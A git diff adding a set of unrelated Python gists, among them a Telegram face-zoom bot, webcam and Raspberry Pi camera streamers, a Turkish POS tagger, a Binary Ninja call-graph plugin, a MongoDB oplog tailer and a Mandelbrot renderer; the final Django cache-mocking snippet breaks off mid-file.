+# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+# SOFTWARE.
+
+import telepot
+import requests
+
+from PIL import Image
+
+class ZoomBot(telepot.Bot):
+    def __init__(self, token):
+        super(ZoomBot, self).__init__(token)
+
+        self.helptext = """Send an image of a face and I'll zoom right in on the face."""
+
+    def on_chat_message(self, msg):
+        content_type, chat_type, chat_id = telepot.glance(msg)
+        if content_type == 'text':
+            if msg['text'] == '/start' or msg['text'].startswith('/help'):
+                bot.sendMessage(chat_id, self.helptext)
+            if msg['text'] == '/about':
+                bot.sendMessage(chat_id, "This bot is made by Jelle Besseling (@pingiun)\nHosted by @bothosting.")
+            elif chat_type == 'private':
+                bot.sendMessage(chat_id, self.helptext)
+        elif content_type in ['new_chat_participant', 'left_chat_participant', 'new_chat_title', 'new_chat_photo', 'delete_chat_photo', 'group_chat_created', 'supergroup_chat_created', 'migrate_to_chat_id', 'migrate_from_chat_id', 'channel_chat_created']:
+            return
+        elif content_type == 'photo':
+            bot.sendChatAction(chat_id, 'upload_photo')
+            file_path = '/tmp/' + msg['photo'][-1]['file_id'] + '.jpg'
+            print("Downloading file")
+            bot.download_file(msg['photo'][-1]['file_id'], file_path)
+            print("Recognizing faces")
+            params = {'image': open(file_path, 'rb')}
+            headers = {'X-Mashape-Key': TOKEN_MA, 'Accept': 'application/json'}
+            request = requests.post('https://apicloud-facerect.p.mashape.com/process-file.json', files=params, headers=headers)
+            print("Request for url {}".format(request.url))
+            print(request.status_code)
+            print(request.text)
+            faces = request.json()
+
+            if len(faces['faces']) > 1 and chat_type == 'private':
+                bot.sendMessage(chat_id, "There are too many faces in your photo, I only work when one face is visible. Please crop your foto to only show one face.")
+            if len(faces['faces']) == 0 and chat_type == 'private':
+                bot.sendMessage(chat_id, "Couldn't detect a face in your picture.")
+            else:
+                face = faces['faces'][0]
+                im = Image.open(file_path)
+                # These coordinates are determined by trial and error
+                if face['orientation'] == 'frontal':
+                    dwidthleft = round((face['width'] - face['width'] * 0.6) / 2)
+                    dwidthright = round((face['width'] - face['width'] * 0.6) / 2)
+                    dheighttop = round((face['height'] - face['height'] * 0.4) / 2)
+                    dheightbottom = round((face['height'] - face['height'] * 0.8) / 2)
+                elif face['orientation'] == 'profile-left':
+                    dwidthleft = round((face['width'] - face['width'] * 0.9) / 2)
+                    dwidthright = round((face['width'] - face['width'] * 0.4) / 2)
+                    dheighttop = round((face['height'] - face['height'] * 0.4) / 2)
+                    dheightbottom = round((face['height'] - face['height'] * 0.7) / 2)
+                elif face['orientation'] == 'profile-right':
+                    dwidthleft = round((face['width'] - face['width'] * 0.4) / 2)
+                    dwidthright = round((face['width'] - face['width'] * 0.9) / 2)
+                    dheighttop = round((face['height'] - face['height'] * 0.4) / 2)
+                    dheightbottom = round((face['height'] - face['height'] * 0.7) / 2)
+                crop = im.crop((face['x'] + dwidthleft, face['y'] + dheighttop, face['x'] + face['width'] - dwidthright, face['y'] + face['height'] - dheightbottom))
+                crop_path = '/tmp/' + msg['photo'][-1]['file_id'] + 'zoom.jpg'
+                crop.save(crop_path, 'JPEG')
+                bot.sendPhoto(chat_id, open(crop_path, 'rb'))
+        else:
+            if chat_type == 'private':
+                bot.sendMessage(chat_id, "I don't get it. Use /help to find out how this bot works.")
+
+TOKEN_TG = '{TELEGRAM_TOKEN}'
+TOKEN_MA = '{MASHAPE_TOKEN}'
+
+bot = ZoomBot(TOKEN_TG)
+bot.message_loop(run_forever=True)
\ No newline at end of file
diff --git a/hard-gists/4d834d429763e953a40c/._snippet.py b/hard-gists/4d834d429763e953a40c/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4d834d429763e953a40c/._snippet.py differ
diff --git a/hard-gists/4d834d429763e953a40c/snippet.py b/hard-gists/4d834d429763e953a40c/snippet.py
new file mode 100644
index 00000000..d70f3cbf
--- /dev/null
+++ b/hard-gists/4d834d429763e953a40c/snippet.py
@@ -0,0 +1,31 @@
+# Stream Video with OpenCV from an Android running IP Webcam (https://play.google.com/store/apps/details?id=com.pas.webcam)
+# Code Adopted from http://stackoverflow.com/questions/21702477/how-to-parse-mjpeg-http-stream-from-ip-camera
+
+import cv2
+import urllib2
+import numpy as np
+import sys
+
+host = "192.168.0.220:8080"
+if len(sys.argv)>1:
+    host = sys.argv[1]
+
+hoststr = 'http://' + host + '/video'
+print 'Streaming ' + hoststr
+
+stream=urllib2.urlopen(hoststr)
+
+bytes=''
+while True:
+    bytes+=stream.read(1024)
+    a = bytes.find('\xff\xd8')
+    b = bytes.find('\xff\xd9')
+    if a!=-1 and b!=-1:
+        jpg = bytes[a:b+2]
+        bytes= bytes[b+2:]
+        i = cv2.imdecode(np.fromstring(jpg, dtype=np.uint8),cv2.CV_LOAD_IMAGE_COLOR)
+        cv2.imshow(hoststr,i)
+        if cv2.waitKey(1) ==27:
+            exit(0)
+
+
diff --git a/hard-gists/4d859423b9dae1cf7471/._snippet.py b/hard-gists/4d859423b9dae1cf7471/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4d859423b9dae1cf7471/._snippet.py differ
diff --git a/hard-gists/4d859423b9dae1cf7471/snippet.py b/hard-gists/4d859423b9dae1cf7471/snippet.py
new file mode 100644
index 00000000..09080b51
--- /dev/null
+++ b/hard-gists/4d859423b9dae1cf7471/snippet.py
@@ -0,0 +1,151 @@
+# -*- coding: utf-8 -*-
+'''
+Turkish POS Tagger
+Author: Sirin Saygili <sirin.neslihan@gmail.com>
+Turkish POS Tagger is free software: you can redistribute it and/or modify
+it under the terms of the GNU General Public License as published by
+the Free Software Foundation, either version 3 of the License, or
+(at your option) any later version.
+Turkish POS Tagger is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+GNU General Public License for more details.
+You should have received a copy of the GNU General Public License
+along with Turkish POS Tagger.  If not, see <http://www.gnu.org/licenses/>.
+'''
+
+import random
+import yaml
+from nltk import tag
+from nltk.tag import brill
+from nltk.tag.brill import Template
+from nltk.tag.brill_trainer import BrillTaggerTrainer
+from nltk.corpus.reader import ConllCorpusReader
+import codecs
+from datetime import datetime
+
+class TurkishPosTagger():
+
+    def __init__(self):
+        self.sentences = self.read_turkish_corpus()
+        random.seed(len(self.sentences))
+        random.shuffle(self.sentences)
+        self.sentences = self.sentences
+        self.max_rules = 300
+        self.min_score = 3
+        self.development_size = len(self.sentences)
+        self.train_size = 0.85
+        self.re_tagger = tag.RegexpTagger([(r'^-?[0-9]+(.[0-9]+)?$', 'PUNC'), (r'.*', 'NOUN_NOM')])
+
+    def read_turkish_corpus(self):
+        tagged_sentences_raw = []
+        conll_reader = ConllCorpusReader('path/to/languages-corpora', 'path/to/turkish-pos-conll-file', ('words','pos'), encoding='UTF-8')
+        tagged_sentences_raw_map = conll_reader.tagged_sents('path/to/turkish-pos-conll-file')
+        for sent in tagged_sentences_raw_map:
+            tagged_sentences_raw.append(sent)
+        tagged_sentences = [[(w.lower(),t) for (w,t) in s] for s in tagged_sentences_raw]
+        return tagged_sentences
+
+    def randomize_sentences(self):
+        random.seed(len(self.sentences))
+        random.shuffle(self.sentences)
+
+    def get_cutoff(self):
+        return int(self.development_size * self.train_size)
+
+    def set_train_set(self, cutoff):
+        return self.sentences[:cutoff]
+
+    def set_evaluation_set(self, cutoff, size):
+        return self.sentences[cutoff:size]
+
+    def dump_tagger_to_file(self, tr_tagger):
+        f = codecs.open('tr-tagger.yaml', mode='w', encoding='UTF-8')
+        yaml.dump(tr_tagger, f)
+        f.close()
+
+    def turkish_unigram_tagger(self, train_data, eval_data, backoff_tagger):
+        tr_unigram_tagger = tag.UnigramTagger(train_data, backoff=backoff_tagger)
+        print "TR unigram accuracy: %s" % tr_unigram_tagger.evaluate(eval_data)
+        return tr_unigram_tagger
+
+    def turkish_bigram_tagger(self, train_data, eval_data, backoff_tagger):
+        tr_bigram_tagger = tag.BigramTagger(train_data, backoff=backoff_tagger)
+        print "TR bigram accuracy: %s" % tr_bigram_tagger.evaluate(eval_data)
+        return tr_bigram_tagger
+
+    def turkish_trigram_tagger(self, train_data, eval_data, backoff_tagger):
+        tr_trigram_tagger = tag.BigramTagger(train_data, backoff=backoff_tagger)
+        print "TR trigram accuracy: %s" % tr_trigram_tagger.evaluate(eval_data)
+        return tr_trigram_tagger
+
+    def turkish_brill_tagger(self):
+
+        train_data = self.set_train_set(self.get_cutoff())
+        eval_data = self.set_evaluation_set(self.get_cutoff(), self.development_size)
+
+        tr_unigram = self.turkish_unigram_tagger(train_data, eval_data, self.re_tagger)
+        tr_bigram = self.turkish_bigram_tagger(train_data, eval_data, tr_unigram)
+        tr_trigram = self.turkish_trigram_tagger(train_data, eval_data, tr_bigram)
+
+        templates = [
+            Template(brill.Pos, (1,1)),
+            Template(brill.Pos, (2,2)),
+            Template(brill.Pos, (1,2)),
+            Template(brill.Pos, (1,3)),
+            Template(brill.Word, (1,1)),
+            Template(brill.Word, (2,2)),
+            Template(brill.Word, (1,2)),
+            Template(brill.Word, (1,3)),
+            Template(brill.Pos, (-1, -1), (1,1)),
+            Template(brill.Pos, (-1, -1), (1,1)),
+        ]
+
+        br_trainer = BrillTaggerTrainer(tr_trigram, templates)
+        tr_brill_tagger = br_trainer.train(train_data, self.max_rules, self.min_score)
+        print "TR initial Brill accuracy: %s" % tr_brill_tagger.evaluate(eval_data)
+
+        for i in range(1,5):
+            self.randomize_sentences()
+            training_data = self.set_train_set(self.get_cutoff())
+            evaluation_data = self.set_evaluation_set(self.get_cutoff(), self.development_size)
+            print 'Fold: %s' % i
+            tr_brill_tagger = br_trainer.train(training_data, self.max_rules, self.min_score)
+            print "TR Brill accuracy: %s" % tr_brill_tagger.evaluate(evaluation_data)
+
+        self.dump_tagger_to_file(tr_brill_tagger)
+
+class TRTagger():
+
+    def read_tagger(self):
+        f = codecs.open('tr-tagger.yaml',mode='r',encoding='UTF-8')
+        tr_pos_tagger = yaml.load(f)
+        return tr_pos_tagger
+
+    def turkish_pos_tagger(self, sentence):
+        temp = [[t.lower()] for t in sentence.split()]
+        return_list = []
+        # Find tags
+        tr_pos_tagger = self.read_tagger()
+        for token in temp:
+            return_list.append(tr_pos_tagger.tag(token))
+
+        return_list = [t for [t] in return_list]
+        # Correct tags for printing
+        tag_list = [y for (x,y) in return_list]
+        tag_list = [(y.lower()).title() for y in tag_list]
+
+        # Zip input and tags
+        temp_list = zip([t for t in sentence.split()], tag_list)
+        return temp_list
+
+
+#TrTagger = TurkishPosTagger()
+#tr_b = TrTagger.turkish_brill_tagger()
+
+if __name__ == '__main__':
+    sent = "Uzun bir süre sonra kendime geldim ."
+    decoded_sent = sent.decode('utf-8')
+    tr_brill = TRTagger()
+    print tr_brill.turkish_pos_tagger(decoded_sent)
+    # output is "uzun-Adj bir-Det süre-Noun sonra-Adv kendime-Pron geldim-Verb .-Punc"
\ No newline at end of file
diff --git a/hard-gists/4dc4e988baae35aa2ae810281b5297fa/._snippet.py b/hard-gists/4dc4e988baae35aa2ae810281b5297fa/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4dc4e988baae35aa2ae810281b5297fa/._snippet.py differ
diff --git a/hard-gists/4dc4e988baae35aa2ae810281b5297fa/snippet.py b/hard-gists/4dc4e988baae35aa2ae810281b5297fa/snippet.py
new file mode 100644
index 00000000..814a36e9
--- /dev/null
+++ b/hard-gists/4dc4e988baae35aa2ae810281b5297fa/snippet.py
@@ -0,0 +1,15 @@
+from picamera import PiCamera
+from io import BytesIO
+import socket
+import time
+
+sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
+
+with PiCamera(resolution='VGA', framerate=5) as camera:
+    time.sleep(2)
+
+    buff = BytesIO()
+    for _ in camera.capture_continuous(buff, format='mjpeg'):
+        sock.sendto(buff.getvalue(), ('10.10.0.10', 7000))
+        buff.seek(0)
+        buff.truncate()
\ No newline at end of file
diff --git a/hard-gists/4deac45790fa339b537a/._snippet.py b/hard-gists/4deac45790fa339b537a/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4deac45790fa339b537a/._snippet.py differ
diff --git a/hard-gists/4deac45790fa339b537a/snippet.py b/hard-gists/4deac45790fa339b537a/snippet.py
new file mode 100644
index 00000000..4ba4cc53
--- /dev/null
+++ b/hard-gists/4deac45790fa339b537a/snippet.py
@@ -0,0 +1,52 @@
+# QuickReminder 3.0.2 - see: http://jarrodwhaley.com/other-projects/geekery/
+
+
+import sys
+import urllib.request, urllib.parse, urllib.error
+import notification
+import console
+import webbrowser
+
+# Get arguments, if any
+numArgs = len(sys.argv)
+
+# Set Drafts URL
+url = 'drafts4://x-callback-url/create?text=' + ''
+
+# Convert minutes to integer, strip commas if present
+def intconv(arg):
+	arg = arg.replace(",", "")
+	return int(arg) * 60
+
+# Routes and processes input, either directly from prompts
+# or from Drafts.
+
+if numArgs == 1:
+	text = console.input_alert('Remind you to...')
+	digit = console.input_alert('In how many minutes?')
+	interval = intconv(digit)
+	url = ''
+elif numArgs > 1 and (sys.argv[2]) == '':
+	digit = console.input_alert('In how many minutes?')
+elif numArgs == 3:
+	text = sys.argv[1]
+	digit = sys.argv[2]
+	interval = intconv(digit)
+else:
+	console.alert('Failed.')
+	
+# Confirm before scheduling
+console.alert('Schedule?', 'Alert in' + ' ' + digit + ' ' + 
+'minutes?', 'Schedule')
+
+# Schedule
+notification.schedule(text, interval, 'default')
+
+# Send back to Drafts if input sent from there.
+# Show confirmation HUD if not.
+
+if len(url) > 1:
+	webbrowser.open(url)
+	notification.schedule('Scheduled.', 0.5, 'default')
+else:
+	console.hud_alert('Scheduled.')
\ No newline at end of file
diff --git a/hard-gists/4e24eb196dc377278fc51e517d81df63/._snippet.py b/hard-gists/4e24eb196dc377278fc51e517d81df63/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4e24eb196dc377278fc51e517d81df63/._snippet.py differ
diff --git a/hard-gists/4e24eb196dc377278fc51e517d81df63/snippet.py b/hard-gists/4e24eb196dc377278fc51e517d81df63/snippet.py
new file mode 100644
index 00000000..0f23b8b8
--- /dev/null
+++ b/hard-gists/4e24eb196dc377278fc51e517d81df63/snippet.py
@@ -0,0 +1,186 @@
+import struct
+import threading
+
+import binaryninja as bn
+
+
+class Graph(object):
+    def __init__(self, view):
+        # type: (Graph, bn.BinaryView) -> None
+        self.view = view
+        self.nodes = {}
+
+    def node(self, addr):
+        # type: (Graph, long) -> Node
+        n = self.nodes.get(addr, Node(addr, self))
+        self.nodes[addr] = n
+        return n
+
+    def __iter__(self):
+        for a, n in self.nodes.items():
+            yield n
+
+    def __str__(self):
+        # type: (Graph) -> str
+        graph_string = 'digraph Call_Graph {\n'
+
+        graph_string += '\n'.join([repr(n) for n in self])
+
+        for n in self:
+            edge_string = ';\n'.join([repr(e) for e in n.edges])
+
+            if edge_string:
+                graph_string += '\n{};'.format(edge_string)
+
+        graph_string += '\n}'
+        return graph_string
+
+
+class Node(object):
+    def __init__(self, addr, graph):
+        # type: (Node, long, Graph) -> None
+        self.addr = addr
+
+        self.graph = graph
+
+        symbol = graph.view.get_symbol_at(addr)
+
+        if symbol is not None:
+            self.name = symbol.name.replace('!', '_').replace('@', '_')
+            self.label = symbol.name
+        else:
+            self.name = 'sub_{:x}'.format(addr)
+            self.label = None
+
+        self.edges = Edges(self)
+
+    def __repr__(self):
+        # type: (Node) -> str
+        node_name = self.name
+
+        if self.label:
+            node_name += ' [label="{}"]'.format(self.label)
+
+        node_name += ';'
+
+        return node_name
+
+
+class Edge(object):
+    def __init__(self, a, b):
+        # type: (Edge, Node, Node) -> None
+        self.a = a
+        self.b = b
+
+    def __repr__(self):
+        # type: (Edge) -> str
+        return '{} -> {}'.format(self.a.name, self.b.name)
+
+
+class Edges(set):
+    def __init__(self, node):
+        # type: (Edges, Node) -> None
+        self.node = node
+        super(Edges, self).__init__(self)
+
+    def add(self, target):
+        if isinstance(target, Node):
+            super(Edges, self).add(target)
+        elif isinstance(target, long) or isinstance(target, int):
+            super(Edges, self).add(self.node.graph.node(target))
+        else:
+            raise TypeError('target must be a Node or long, not {}'.format(type(target)))
+
+    def __iter__(self):
+        for e in super(Edges, self).__iter__():
+            yield Edge(self.node, e)
+
+
+def get_indirect_address(view, func, instr, load_il):
+    if view.address_size == 4:
+        unpack_string = 'L'
+    elif view.address_size == 8:
+        unpack_string = 'Q'
+    elif view.address_size == 2:
+        unpack_string = 'H'
+    else:
+        # pretty sure this will never happen!
+        unpack_string = 'B'
+
+    if view.endianness == bn.Endianness.LittleEndian:
+        unpack_string = '<' + unpack_string
+
+    if load_il.operation == bn.LowLevelILOperation.LLIL_CONST:
+        address = struct.unpack(
+            unpack_string,
+            view.read(load_il.value, view.address_size)
+        )[0]
+
+        if view.is_offset_executable(address):
+            return address
+        else:
+            return load_il.value
+
+    elif load_il.operation == bn.LowLevelILOperation.LLIL_REG:
+        reg_value = func.get_reg_value_at_low_level_il_instruction(
+            instr.instr_index,
+            load_il.src
+        )
+
+        if reg_value.type == bn.RegisterValueType.ConstantValue:
+            const_value = view.read(reg_value.value, view.address_size)
+
+            if const_value:
+                if len(const_value) != view.address_size:
+                    bn.log_info("const_value: {!r}".format(const_value))
+                    return None
+                address = struct.unpack(
+                    unpack_string,
+                    const_value
+                )[0]
+            else:
+                return None
+
+            if view.is_offset_executable(address):
+                return address
+
+    return None
+
+
+def generate_callgraph_thread(view):
+
+    callgraph = Graph(view)
+
+    for func in view.functions:
+        node = callgraph.node(func.start)
+
+        for block in func.low_level_il.basic_blocks:
+            for instr in block:
+                if instr.operation == bn.LowLevelILOperation.LLIL_CALL:
+
+                    if instr.dest.operation == bn.LowLevelILOperation.LLIL_CONST:
+                        node.edges.add(instr.dest.value)
+
+                    elif instr.dest.operation == bn.LowLevelILOperation.LLIL_LOAD:
+                        target = get_indirect_address(view, func, instr, instr.dest.src)
+
+                        if target is not None:
+                            node.edges.add(target)
+
+                    elif instr.dest.operation == bn.LowLevelILOperation.LLIL_REG:
+                        reg_value = func.get_reg_value_at_low_level_il_instruction(
+                            instr.instr_index,
+                            instr.dest.src
+                        )
+
+                        if (reg_value.type == bn.RegisterValueType.ConstantValue and
+                                view.is_offset_executable(reg_value.value)):
+                            node.edges.add(reg_value.value)
+
+    bn.show_plain_text_report('Call Graph', str(callgraph))
+
+def generate_callgraph(view):
+    loader_thread = threading.Thread(target=generate_callgraph_thread, args=(view,))
+    loader_thread.start()
+
+bn.PluginCommand.register("Generate Call Graph", "Generate a Call Graph of the binary.", generate_callgraph)
\ No newline at end of file
diff --git a/hard-gists/4e5035242b8e4b07ff3a/._snippet.py b/hard-gists/4e5035242b8e4b07ff3a/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4e5035242b8e4b07ff3a/._snippet.py differ
diff --git a/hard-gists/4e5035242b8e4b07ff3a/snippet.py b/hard-gists/4e5035242b8e4b07ff3a/snippet.py
new file mode 100644
index 00000000..637c5cd8
--- /dev/null
+++ b/hard-gists/4e5035242b8e4b07ff3a/snippet.py
@@ -0,0 +1,292 @@
+"""
+Map oplog to you custom interface. To, for example, have triggers in mongo.
+see example in '__main__' below
+
+https://gist.github.com/rescommunes/4e5035242b8e4b07ff3a
+"""
+
+import logging
+from time import sleep
+import pickle
+
+from pymongo.errors import AutoReconnect, OperationFailure
+from bson.timestamp import Timestamp as bson_Timestamp
+
+
+log = logging.getLogger(__name__)
+QUERY_OPTION_OPLOG_RELAY = 8
+
+
+class TimestampHandler(object):
+    def __init__(self, timestamp_file=None):
+        self.timestamp_file = timestamp_file if timestamp_file is not None else 'current.ts'
+        self.current = self.load()
+
+    def load(self):
+        log.debug("Loading: %s" % self.timestamp_file)
+        try:
+            fh = open(self.timestamp_file, 'rb')
+            timestamp_time_op_count = pickle.load(fh)
+            fh.close()
+        except IOError as exc:
+            log.debug("No timestamp file '%s'. Using defaults" % self.timestamp_file)
+            timestamp_time_op_count = (0, 0)
+        start_time, op_count = timestamp_time_op_count
+        start_time = start_time if start_time is not None else 0
+        return TimestampHandler.encode(start_time, op_count=op_count)
+
+    def update(self, ts):
+        self.current = ts
+        return TimestampHandler.decode(ts)
+
+    def save(self):
+        log.debug("Saving: %s" % self.timestamp_file)
+        timestamp_time_op_count = TimestampHandler.decode(
+            self.current,
+            with_op_count=True,
+            as_unix_time=True
+        )
+        fh = open(self.timestamp_file, 'wb')
+        pickle.dump(timestamp_time_op_count, fh)
+        fh.close()
+
+    def __str__(self):
+        dt, op_count = TimestampHandler.decode(self.current, with_op_count=True)
+        return "%s (op_count=%d)" % (dt, op_count)
+
+    @staticmethod
+    def encode(bson_timestamp_time, op_count=None):
+        op_count = op_count if op_count is not None else 0
+        return bson_Timestamp(bson_timestamp_time, op_count)
+
+    @staticmethod
+    def decode(timestamp, with_op_count=False, as_unix_time=False):
+        if not as_unix_time:
+            timestamp_time = timestamp.as_datetime()
+        else:
+            timestamp_time = timestamp.time
+        if not with_op_count:
+            return timestamp_time
+        return timestamp_time, timestamp.inc
+
+
+class OperationManagers(object):
+    def __init__(self, connection, manager_map):
+        self.manager_map = {}
+        self._load(connection, manager_map)
+
+    def _load(self, connection, manager_map):
+        for manager_class, namespace_map in manager_map.items():
+            manager_instance = manager_class(connection)
+            self.manager_map[manager_instance] = namespace_map
+
+    def all_managers(self):
+        return self.manager_map.keys()
+
+    def namespace_managers(self, ns):
+        namespace_parts = ns.split('.')
+        managers = []
+        for manager, namespace_map in self.manager_map.items():
+            if namespace_parts in namespace_map:
+                managers.append(manager)
+                continue
+
+            for wild_match in OperationManagers.namespace_wild_match(namespace_parts):
+                if wild_match in namespace_map:
+                    managers.append(manager)
+                    continue
+        managers = list(set(managers))
+        return managers, ns.split('.')
+
+    @staticmethod
+    def namespace_wild_match(namespace_parts):
+        for idx in range(len(namespace_parts) - 1, -1, -1):
+            yield namespace_parts[:idx] + ['*'] * len(namespace_parts[idx:])
+
+
+# noinspection PyMethodMayBeStatic,PyUnusedLocal
+class OperationInterface(object):
+    def __init__(self, mongo_connection):
+        self.mongo_connection = mongo_connection
+
+    def insert(self, timestamp, namespace, document):
+        log.debug("%s Unprocessed insert: %s %r" % (self, timestamp, namespace))
+
+    def update(self, timestamp, namespace, doc_id, update_spec):
+        log.debug("%s Unprocessed update: %s %r" % (self, timestamp, namespace))
+
+    def delete(self, timestamp, namespace, doc_id):
+        log.debug("%s Unprocessed delete: %s %r" % (self, timestamp, namespace))
+
+    def command(self, timestamp, namespace, command_doc):
+        log.debug("%s Unprocessed command: %s %r" % (self, timestamp, namespace))
+
+    def noop(self, timestamp, namespace, noop_doc):
+        log.debug("%s Unprocessed noop: %s %r" % (self, timestamp, namespace))
+
+    def unknown_op(self, entry, more=None):
+        log.warn("%s Unknown Entry: %r,  %r" % (self, more, entry))
+
+    def __repr__(self):
+        return "<OperationInterface:%s>" % self.__class__.__name__
+
+
+class TailOplog(object):
+    POLL_TIME = 1
+
+    def __init__(self, connection, manager_map, ts):
+        self._connection = connection
+        self._operation_manager = OperationManagers(connection, manager_map)
+        self._oplog = self.oplog_collection()
+        self._ts = ts
+        self._is_running = True
+
+    def oplog_collection(self):
+        collection_name = 'oplog.rs'
+        valid_oplog_connection(self._connection)
+        log.debug("Opening oplog collection %r" % collection_name)
+        return self._connection.local[collection_name]
+
+    def next_ops(self):
+        query = {'ts': {'$gt': self._ts.current}}
+        cursor = self._oplog.find(query, tailable=True)
+        cursor.add_option(QUERY_OPTION_OPLOG_RELAY)
+        log.debug('Next ops: %s' % self._ts)
+        return cursor
+
+    def stop(self):
+        self._is_running = False
+
+    def start(self):
+        while self._is_running:
+            try:
+                next_ops_cursor = self.next_ops()
+                self.tail(next_ops_cursor)
+                sleep(self.POLL_TIME)
+            except (AutoReconnect, OperationFailure) as exc:
+                log.warn("%s, %s" % (exc.__class__.__name__, exc))
+
+    def tail(self, next_ops_cursor):
+        for current_op in next_ops_cursor:
+            if not self._is_running:
+                break
+            try:
+                dt_timestamp = self._ts.update(current_op['ts'])
+                namespace = current_op['ns']
+            except KeyError as exc:
+                for manager in self._operation_manager.all_managers():
+                    manager.unknown_op(current_op, more=exc)
+                continue
+            managers, namespace = self._operation_manager.namespace_managers(namespace)
+            if not managers:
+                continue
+            operation = current_op['op']
+            for manager in managers:
+                if operation == 'i':
+                    document = current_op['o']
+                    manager.insert(dt_timestamp, namespace, document)
+                elif operation == 'u':
+                    doc_id = current_op['o2']['_id']
+                    update_spec = current_op['o']
+                    manager.update(dt_timestamp, namespace, doc_id, update_spec)
+                elif operation == 'd':
+                    doc_id = current_op['o']['_id']
+                    manager.delete(dt_timestamp, namespace, doc_id)
+                elif operation == 'c':
+                    command_doc = current_op['o']
+                    manager.command(dt_timestamp, namespace, command_doc)
+                elif operation == 'n':
+                    noop_doc = current_op['o']
+                    manager.noop(dt_timestamp, namespace, noop_doc)
+                else:
+                    manager.unknown_op(current_op, more="no_op")
+            self._ts.save()
+
+
+def valid_oplog_connection(connection):
+    try:
+        connection.admin.command("isdbgrid")
+        raise Exception("No support for dbgrid")
+    except OperationFailure:
+        pass
+    main = connection.admin.command("isMaster")
+    if not main or 'setName' not in main:
+        raise Exception("Need replica set to have an oplog")
+    log.info("Using replica set: '%s' on %r " % (main["setName"], connection))
+
+
+if __name__ == '__main__':
+    """
+    Example
+    note: if oplog is old (its a capped collection) you will be missing entries
+          in that case you'd need to sync up the /thing/ your modifying
+    """
+    from pymongo import MongoClient
+    import signal
+
+    logging.basicConfig(level=logging.DEBUG)
+
+    def stop_on_sigint(stoppable_instance):
+        # noinspection PyUnusedLocal
+        def signal_handler(signal_int, frame):
+            log.info('Stopping Instance: %r' % stoppable_instance)
+            stoppable_instance.stop()
+
+        signal.signal(signal.SIGINT, signal_handler)
+        signal.signal(signal.SIGQUIT, signal_handler)
+
+    class OperationLocal(OperationInterface):
+        def __init__(self, connection):
+            super(OperationLocal, self).__init__(connection)
+            self.local = {}
+
+        def insert(self, timestamp, namespace, document):
+            """if your NOT working on some *system* namespace you'll have document[_id]"""
+            log.debug("Inserting: %s" % document['_id'])
+            self.local[document['_id']] = document
+
+        def update(self, timestamp, namespace, doc_id, update_spec):
+            """
+            update_spec is way to complex to solve for this example. We just use find_one.
+            This  method is problematic if the current ts is old and the document
+               was modified or deleted. Depends on what happening but, you can
+               peek into update_spec to see if work is necessary
+            """
+            collection = self.mongo_connection[namespace[0]][namespace[1]]
+            document = collection.find_one({'_id': doc_id})
+            if document:
+                log.debug("Updating: %s" % doc_id)
+                self.local[doc_id] = document
+
+        def delete(self, timestamp, namespace, doc_id):
+            log.debug("Deleting: %s" % doc_id)
+            del self.local[doc_id]
+
+
+    base_connection = MongoClient(host='localhost', tz_aware=True)
+
+    """
+    mapping can use '*' to represent anything in order so
+     [['*']] would match any ns which is length 1 (ie: noop)
+     [['*', '*']] would match any ns which is length 2
+     [['*', '*', '*']] would map any ns which is length 3 (ie "db.something.index")
+    or you can get specific from left to right only
+     [['database', '*', '*'], ['database','collection']] etc
+
+    multiple `OperationInterface`s would work but, the timestamp handling my get out of
+     sync if you have errors.
+
+    """
+    test_manager_map = {
+        OperationLocal: [
+            ['database', 'organization'],
+            ['database', 'collection_2'],
+            ['other', 'collection_1']
+        ]
+    }
+
+    ts_handler = TimestampHandler(timestamp_file="local.current.ts")
+    watch = TailOplog(base_connection, test_manager_map, ts_handler)
+    log.info('Starting: %r' % watch.__class__.__name__)
+    stop_on_sigint(watch)
+    watch.start()
diff --git a/hard-gists/4e958d673c51f1fe6f8f/._snippet.py b/hard-gists/4e958d673c51f1fe6f8f/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4e958d673c51f1fe6f8f/._snippet.py differ
diff --git a/hard-gists/4e958d673c51f1fe6f8f/snippet.py b/hard-gists/4e958d673c51f1fe6f8f/snippet.py
new file mode 100644
index 00000000..880a514d
--- /dev/null
+++ b/hard-gists/4e958d673c51f1fe6f8f/snippet.py
@@ -0,0 +1,21 @@
+import itertools
+
+from PIL import Image
+
+#def mandel(z, c):
+#	return z ** 2 + c
+	
+result = Image.new("L", (400, 400))
+
+for r, i in itertools.product(xrange(400), repeat=2):
+	c = complex(r / 100.0 - 2.0, i / 100.0 - 2.0)
+	z = 0
+	print c
+	result.putpixel((r, i), 255)
+	for cnt in xrange(50):
+		z = z ** 2 + c
+		if not (-2 < z.real < 2) or not (-2 < z.imag < 2):
+			result.putpixel((r, i), int(cnt * 5.12))
+			break
+
+result.save('mandel.png')
diff --git a/hard-gists/4e97eb41e2b9a80cd5de/._snippet.py b/hard-gists/4e97eb41e2b9a80cd5de/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4e97eb41e2b9a80cd5de/._snippet.py differ
diff --git a/hard-gists/4e97eb41e2b9a80cd5de/snippet.py b/hard-gists/4e97eb41e2b9a80cd5de/snippet.py
new file mode 100644
index 00000000..e7a85138
--- /dev/null
+++ b/hard-gists/4e97eb41e2b9a80cd5de/snippet.py
@@ -0,0 +1,31 @@
+"""
+myapp/mymodule.py:
+
+from django.core.cache import cache
+
+def set_cache():
+    cache.set('foo', 'bar')
+    
+def get_cache():
+    return cache.get('foo')
+
+"""
+from myapp.mymodule import set_cache, get_cache
+
+
+with patch('myapp.mymodule.cache') as mock_cache:
+    cache = {}
+    
+    def get(key, default=None):
+      return cache.get(key, default)
+    
+    def _set(key, value, timeout=60):
+      cache[key] = value
+    
+    mock_cache.get = get
+    mock_cache.set = _set
+    
+    set_cache()
+    
